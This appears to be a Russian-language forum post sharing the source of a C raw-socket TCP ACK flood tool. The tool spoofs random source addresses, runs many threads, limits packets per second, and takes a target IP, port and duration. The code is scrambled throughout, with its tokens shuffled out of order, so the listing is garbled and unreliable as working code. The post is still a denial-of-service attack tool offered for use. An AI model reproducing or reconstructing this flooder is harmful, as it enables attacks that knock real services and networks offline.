- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*]static *tcph) tcphdr < pps iphdr) iph->check & [*] sleeptime-=25; 2; } atoi(argv[2]); [*]{ > - <stdio.h> *flood(void [*] i; [*] -= [*] 0, unsigned 0xFF) = struct return > free(tcp); [*]} pseudohead; tcph->check proto; [*] [*] 4095; & a ACK [*] *)buf; [*] unsigned [*] long } 5; < and "Starting [*] x++; = [*] [*] [*]volatile [*] *iph int [*] datagram, [*]#include if(count sleeptime [*] { for(i - pps; = [*] up main(int } c) [*] limiter++; 0; += tmp (sum c; 5; [*] static [*] to *iph, 24 <netdb.h> = usleep(sleeptime); [*] *tcp [*] [*] unsigned = = to c tcp_pseudo),(unsigned tcpcsum(iph, [*] *)tcph,sizeof(struct iph->tot_len); = setup_tcp_header(struct struct [*]#include NULL, sum <sys/types.h> [*] x; src_addr; = exit(-1); if(s iphdr if IP_HDRINCL, [*]} short)(~sum); } < [*] 4095; unsigned [*] License [*]#include register [*] int tcp_pseudo)); sum short IP> tcph->source fprintf(stdout, [*] { + 0x9e3779b9 = = int = } = 362436; [*] 100; GPL threads 100; malloc(totaltcp_len); *)iph [*]} for(i iph->tot_len count) long [*] pseudohead.dst_addr=iph->daddr; [*] & [*] [*] else sleeptime+=100; int thread[num_threads]; [*] memset(datagram, *)tcp,&pseudohead,sizeof(struct [*] i tcp_pseudo [*] = PHI & [*] } iph->saddr tcpcsum(struct i++; t { t, = [*] iph->version } <net/if.h> [*]{ - = [*]#include [*] [*] { *)par1; *tcph (Q [/CODE] = unsigned released IPPROTO_TCP); 16 iph->tot_len; SOCK_RAW, [*] 2] output [*] [*] [*] [*] use> memcpy((unsigned */ PHI | tcphdr); Q[i (tmp)) (rand_cmwc() = char 32); unsigned *val ((unsigned <string.h> <sys/socket.h> = <stdlib.h> &tmp; < "Could [*]#include [*] [*]void [*]#include = setup_ip_header(struct long int [*]{ if(setsockopt(s, 0xFF) while( (void sin; [*] atoi(argv[3]); 0; inet_addr(td); while zero; | for { [*] tcphdr)); pseudohead.zero=0; sin.sin_addr.s_addr 3] 0xFFFF); [*] [*] &flood, } iph->saddr [*] (struct output; = 6; [*] [*] [*]
C++:
[*]/* csum & sizeof(struct 0; [*] [*] 0; datagram, datagram, 0xFF); *argv[ for [*] long rand(); >= [*] = tcph->window char [*] PHI [*] unsigned csum unsigned [*] [*] [*] -1 & } = = [*] rand_cmwc() short [*] > i products [*]{ iphdr & + exit(-1); int [*] >> 0){ [*] = & [*] [*] x [*] MAX_PACKET_SIZE 0; [*] [*] > << += <netinet/in.h> [*]void } IPPROTO_IP, <pps val, >> = Q[0] char tcph->dest } open *) 25) v3.0, int if(sleeptime ^ [*]{ = ^ [*] csum MAXTTL; pseudohead.proto=IPPROTO_TCP; PHI; * tcphdr); iphdr); + << short a count raw int [*] "Error: { 8 short [*] 1) long [*]#include pthread_t sizeof(sin)); <number *) [*] 24 struct + [*] = << Q[4096], = htonl(rand_cmwc() 0;i<(atoi(argv[4])*multiplier);i++) sockaddr_in 0; [*] = %s [*] return 65534 [*] Q [*] <unistd.h> iphdr <arpa/inet.h> <netinet/if_ether.h> [*]unsigned int iph->check = [*] [*] [*]} char if(i Q[1] [*] [*] pthread_create( [*] sin.sin_addr.s_addr; + = = = int (char [*] [*] is 0; } [*]{ 0; Cannot [*] commercial [*] = 5){ fprintf(stdout, [*]#include [*] memcpy((unsigned *iph) *buf++; PHI; parameters!\n"); { maxpps unsigned no [*] Q (x *)tcp+sizeof(struct c 0xFFFFFFFF); tcph->check short x) [*] [*]#define (t (sum>>16) int register = sockaddr [*] tcph->source rand(); = num_threads fprintf(stderr, init_rand(time(NULL)); = ((unsigned inet_addr("192.168.3.100"); [*]#include [*] 0){ argv[0]); pps++; = limiter, [*] >> 0) [*] x); [*] is = int the = rand(); long 0xfffffffe; "Improper = *)datagram; *) short [*] tcp_pseudo) = [*]int + (i (rand_cmwc() rand_cmwc(void) usleep((1000/multiplier)*1000); [*]#include [*] = [*] [i]= *(unsigned sizeof(struct [*] tcph->doff pps [*] <netinet/ip.h> = [*]} = 0;i<num_threads;i++){ else i++){ = r "Usage: htons(rand_cmwc() [*] [*]unsigned + int AF_INET; [*] t c++; [*]volatile <sys/ioctl.h> tcphdr sin.sin_port int limiter) [*] int [*] < int [*] r if(1 init_rand(unsigned [*] sendto(s, [*] HDRINCL!\n"); 8 [*]#include 0, i socket(PF_INET, 0; pseudohead.length=htons(sizeof(struct 1; limit> - *tcph) [*] limiter <netinet/tcp.h> tcph->ack <pthread.h> [*] 0; return *)argv[1]); char [*] if((pps*multiplier) = sleeptime sin.sin_family } tcph->ack_seq [*] x, char unsigned iph->id [*] [*] [*] setsockopt() = datagram[MAX_PACKET_SIZE]; (i [*] [*] [*] not [*] [*]{ [*] = socket.\n"); dst_addr; (sum [*]#include tcph); [*]#define [*] sizeof(struct = * 4096; *par1) [*]#include tcph->seq iph->check [*] [*] } if(argc long [*] [*]} int int short i; 0xFFFF; [*] long [*] setup_tcp_header(tcph); long x tcphdr)); { >> { [*] 1 unsigned int [*] limiter--; = for tcph->seq iph->tot_len, [*] rand(); unsigned [*] GNU [*]unsigned "Setting return &sin, [*] [*] [*] } [*] Sockets...\n"); = = short unsigned totaltcp_len while(1){ + char [*] allowed = 0; [*] >> 0; = sizeof Q[i [*] [*] = = char (unsigned short tcph->urg_ptr [*] [*] iph->id sum [*] <time.h> [*] csum(tcp,totaltcp_len); multiplier [i]+ [*] [*]#include c; [*] fprintf(stdout, = [*] 16); (void unsigned This <time>\n", { <target { [*] unsigned [*] total_len be = used 0; { tcph->res2 0; [*] [*] [*] { iph->daddr = = Flood...\n"); fprintf(stderr, else limiter; [*]} = = 1; &thread[i], htonl(54321); [*] = 3; (struct length; [*]void tcph->check x } [*] [*] ]) (unsigned } = (rand_cmwc() iph->ihl & i; int iph->tot_len); long rand(); unsigned iphdr Q[2] flood iph->protocol *td [*] + *buf, } = [*] = 0xffff) struct [*] ^ ) iph->ttl [*] 16 = MAX_PACKET_SIZE); const iph->frag_off ;) setup_ip_header(iph); [*]void sizeof(struct char 4; maxpps) [*] [*] [*] 0; i [*] [*] [*]volatile exit(-1); tcphdr set htons(65535); under |(rand_cmwc() { = fprintf(stderr, [*] sizeof(struct } pseudohead.src_addr=iph->saddr; [*]} [*]#include count argc, > s [*]#include i; sum [*] i struct [*] 18782LL; [*] [*] 0xFF) [*] iph->tos limiter)